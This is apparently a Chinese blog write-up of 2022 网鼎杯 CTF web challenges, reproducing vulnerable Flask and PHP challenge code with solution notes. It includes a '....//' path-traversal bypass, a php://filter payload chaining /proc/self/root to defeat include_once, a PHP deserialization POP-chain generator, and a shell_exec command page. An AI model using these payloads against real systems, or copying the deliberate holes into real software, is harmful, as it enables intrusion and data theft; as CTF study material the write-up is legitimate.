title: 网鼎杯2022
date: 2022-08-31 22:11:21
tags:
网鼎杯wp
青龙组web669
题目给出了附件
import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session
app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()
def response(content, status):
resp = make_response(content, status)
return resp
@app.before_request
def is_login():
# test
print(socket.gethostname())
print(request.remote_addr.encode())
if request.path == "/upload":
if session.get('user') != "Administrator":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
return None
@app.route('/', methods=['GET'])
def main():
if not session.get('user'):
session['user'] = 'Guest'
try:
return render_template('index.html')
except:
return response("Not Found.", 404)
finally:
try:
updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
if not session.get('updir'):
session['updir'] = updir
if not os.path.exists(updir):
os.makedirs(updir)
except:
return response('Internal Server Error.', 500)
@app.route('/<path:file>', methods=['GET'])
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
uploadFile = request.files['file']
filename = request.files['file'].filename
if re.search(r"\.\.|/", filename, re.M | re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
if os.path.exists(filepath):
return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
else:
uploadFile.save(filepath)
extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
if not os.path.exists(extractdir):
os.makedirs(extractdir)
pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
t_beginning = time.time()
seconds_passed = 0
timeout = 60
while True:
if pStatus.poll() is not None:
break
seconds_passed = time.time() - t_beginning
if timeout and seconds_passed > timeout:
pStatus.terminate()
raise TimeoutError(cmd, timeout)
time.sleep(0.1)
rarDatas = {'filename': filename, 'dirs': [], 'files': []}
for dirpath, dirnames, filenames in os.walk(extractdir):
relative_dirpath = dirpath.split(extractdir)[-1]
rarDatas['dirs'].append(relative_dirpath)
for file in filenames:
rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
f.write(yaml.dump(rarDatas))
return redirect(f'/display?file={filename}')
@app.route('/display', methods=['GET'])
def display():
filename = request.args.get('file')
if not filename:
return response("Not Found.", 404)
if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
yamlDatas = f.read()
if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M | re.I):
rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
if rarDatas:
return render_template('result.html', filename=filename, path=filename.split('.')[0],
files=rarDatas['files'])
else:
return response('Internal Server Error.', 500)
else:
return response('Forbidden.', 403)
else:
return response("Not Found.", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
这里我们得知 这是个python的flask 框架
这里我们看到
如果session ['user']!=administrator的话 就不被允许访问其他的路由
刚才我们知道这是个flask框架 众所周知 flask框架 中的session 是存在在cookie中的 我们 可以读取session
刚才这个路由告诉我们 我们要使session user为administrator 才可以 而falsk 的session又是可以伪造的 这里可以看p牛的文章
https://www.leavesongs.com/PENETRATION/client-session-security.html#0x02-session
这里可以那脚本先解密一下session
可以看出 现在我们是guest用户 所以我们要伪造成Administrator用户
要伪造session 所以我们就必须要得到
SECRET_KEY
想办法读取SECRET_KEY
然后我们看到这里
app.config['SECRET_KEY'] = socket.gethostname()
secrect_key被赋值为 socket.gethostname() 这个是
然后我们看到这里有个 路由
可以任意读文件
这里我们可以读取socket.gethostname()获取SECRET_KEY
但是 这里他把../给过滤掉了 所以我们可以用....//
来绕过过滤
获取SECRET_KEY
用脚本来进行解密和加密
比赛的时候的 secret_key和 现在复现的不一样
加密成这个样子(这里uploaddir先不用改)
就可以上传文件了
然后我们在这里发现了
这里把我们刚上传的文件进行了解压
-o+ # 覆盖现有文件。
这里-o+是覆盖文件 所以我们可以覆盖template文件夹 直接渲染我们上传的文件 嘿嘿 就可以直接利用ssti执行命令
这里还用到了提权
先分析另一种解法把 这是个非预期
看预期解
朱雀组
web thinkphp
<?php
namespace app\index\controller;
class Index
{
public function index()
{
return '<form method="post" enctype="multipart/form-data" action='.url('index/index/upload').'>
<input type="file" name="hw_file">
<input type="submit" value="上传">';
}
public function upload()
{
if (request()->isPost()){
$file = $_FILES['hw_file']??'';
if(!$file){
return json(['code'=>0,'msg'=>'请选择文件']);
}
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
if ($file_size > 1024*1024*2){
return json(['code'=>0,'msg'=>'文件大小不能超过2M']);
}
$file_error = $file['error'];
if ($file_error > 0){
return json(['code'=>0,'msg'=>'上传失败']);
}
$file_type = $file['type'];
$file_ext = explode('.',$file_name);
$file_ext = strtolower(end($file_ext));
if(strstr($file_type, "image/")){
if($this->upload_as_image($file_ext, $file_tmp, "../uploads/images/".date('YmdHis')."/", ["gif"], request()->get("hw_file_name")??FALSE)){
return json(['code'=>1,'msg'=>'上传成功']);
} else {
return json(['code'=>0,'msg'=>'上传失败']);
}
} else {
if($this->upload_as_text($file_ext, $file_tmp, "../uploads/files/".date('YmdHis')."/", request()->get("hw_file_name")??FALSE)){
return json(['code'=>1,'msg'=>'上传成功']);
} else {
return json(['code'=>0,'msg'=>'上传失败']);
}
}
} else {
return json(['code'=>0,'msg'=>'请求方式错误']);
}
}
public function upload_as_image($image_type, $image_tmp_file, $upload_base_dir, $file_ext_black_list, $image_filename=FALSE)
{
if(in_array($image_type, $file_ext_black_list)){
return 0;
}
switch ($image_type) {
case 'jpg':
$image_ext = '.jpg';
break;
case 'png':
$image_ext = '.png';
break;
case 'gif':
$image_ext = '.gif';
break;
default:
$image_ext = '.jpg';
break;
}
$image_size = getimagesize($image_tmp_file);
$image_width = $image_size[0];
$image_height = $image_size[1];
if($image_width > 200 || $image_height > 200){
return 0;
}
if ($image_filename === FALSE) {
$image_filename = date('YmdHis') . rand(1000, 9999) . $image_ext;
} else {
$image_filename = $image_filename . $image_ext;
}
if(!file_exists($upload_base_dir)){
mkdir($upload_base_dir, 0777, true);
}
$image_file_path = $upload_base_dir . $image_filename;
rename($image_tmp_file, $image_file_path);
return 1;
}
public function upload_as_text($text_type, $text_tmp_file, $upload_base_dir, $text_filename=FALSE)
{
if(strstr($text_type, "ph") || in_array($text_type, ['php', 'html', 'js', 'css', 'sql', 'phtml', 'shtml', 'php5', 'php7', 'phtm', 'pht', 'php8', 'php4', '.htaccess', 'tpl'])){
return 0;
}
if (strstr($text_filename, ".") || strstr($text_filename, "/")) {
return 0;
}
if( strlen($text_type) == 0){
$text_ext = "";
} else {
if(!ctype_alpha($text_type)){
return 0;
}
$text_ext = "." . $text_type;
}
if ($text_filename === FALSE) {
$text_filename = date('YmdHis') . rand(1000, 9999) . $text_ext;
} else {
$text_filename = $text_filename . $text_ext;
}
if(strlen($text_filename) == 0 || strstr($text_filename, "/") ||!preg_match('/[A-Za-z0-9_]/is', $text_filename)){
return 0;
}
if(!file_exists($upload_base_dir)){
mkdir($upload_base_dir, 0777, true);
}
$text_file_path = $upload_base_dir . "/" . $text_filename;
rename($text_tmp_file, $text_file_path);
return 1;
}
}
把有用的代码贴出来把
web
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', "/var/www/html");
$file = $_GET['f'];
if (preg_match("/flag|secret|index/i", $file)) {
die("nononono");
}
include_once($file);
$sec = $_GET['pop'];
if (isset($sec)) {
unserialize($sec);
}
题目打开显示源码
这里
ini_set('open_basedir','/var/www/html')
ini配置里面写的是 open_basedir的意思是 后面的/var/www/html目录是可以访问的
可以包含文件 这里有个config.php
include_once
include_once 函数:在脚本执行期间包含并运行指定文件。 此行为和include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含
这里应该是其他地方有已经包含过config.php了
想办法绕过 include_once
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php')
,已经include的文件不可以再require_once。
那么怎么绕过这个hash表 并且能使include_once识别到我们想要包含的文件呢
/proc/self
/proc/self 指向当前进程的/proc/pid
/proc/self/root 是指向/的符号链接
这里用伪协议配合多级符号链接的办法进行绕过
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php
这里读到config.php
<?php
class start
{
public $dc;
public $bd;
public function __destruct()
{
$this->dc->nouse();
}
}
class begin
{
public $ak;
public $cp;
public function nouse()
{
$this->ak->nouse2();
}
}
class step
{
public $fun;
public $dif;
public function __call($t,$a)
{
$ss = $this->fun;
$ss();
}
}
class process
{
public $bcd;
public $fec;
public function __invoke()
{
$this->fec = "Invoke:".$this->bcd;
}
}
class over
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_secret();
return "ok";
}
}
class hint
{
public function get_secret()
{
//echo "fherusgkrsdgj";
echo highlight_file('secrEt_Y0uNeverkNOW.php');
}
}
//unserialize('O:5:"start":2:{s:2:"dc";O:5:"begin":2:{s:2:"ak";O:4:"step":2:{s:3:"fun";O:7:"process":2:{s:3:"bcd";O:4:"over":2:{s:4:"str1";O:4:"hint":0:{}s:4:"str2";N;}s:3:"fec";N;}s:3:"dif";N;}s:2:"cp";N;}s:2:"bd";N;}');
这里就构造链子 然后 显示
secrEt_Y0uNeverkNOW.php
poc如下
<?php
class start
{
public $dc;
public $bd;
public function __construct()
{
$this->dc=new begin();
}
}
class begin
{
public $ak;
public $cp;
public function __construct()
{
$this->ak=new step();
}
}
class step
{
public $fun;
public $dif;
public function __construct()
{
$this->fun=new process();
}
}
class process{
public $bcd;
public $fec;
public function __construct()
{
$this->bcd=new over();
}
}
class over
{
public $str1;
public $str2;
public function __construct()
{
$this->str1=new hint();
}
}
class hint
{
}
$start=new start();
echo serialize($start);
secrEt_Y0uNeverkNOW.php
代码
<?php
error_reporting(0);
if($_GET['pass'] !== md5("Just_a_trick")){
die();
}
//phpinfo();
if(strlen($_GET['cmd'])<5 && !preg_match('/rm/',$_GET['cmd']))
{
//phpinfo();
echo shell_exec($_GET['cmd']);
}
?>
妈的 这里犯了一个非常傻逼的错误 我在index.php想要执行
secrEt_Y0uNeverkNOW.php页面的代码 导致 一直不成功 。。。。
回到正题
这里限制我们执行代码为四个字符 并且 不能使用删除命令
。。。不会了 、
学长有个非预期
利用文件包含来命令执行
在php中,我们可以利用php base64filter 宽松解析 ,通过iconv filter等特定的 php代码进而完成无需临时文件 的rce
标签:return,2022,text,image,filename,file,网鼎杯,public From: https://www.cnblogs.com/kkkkl/p/16748382.html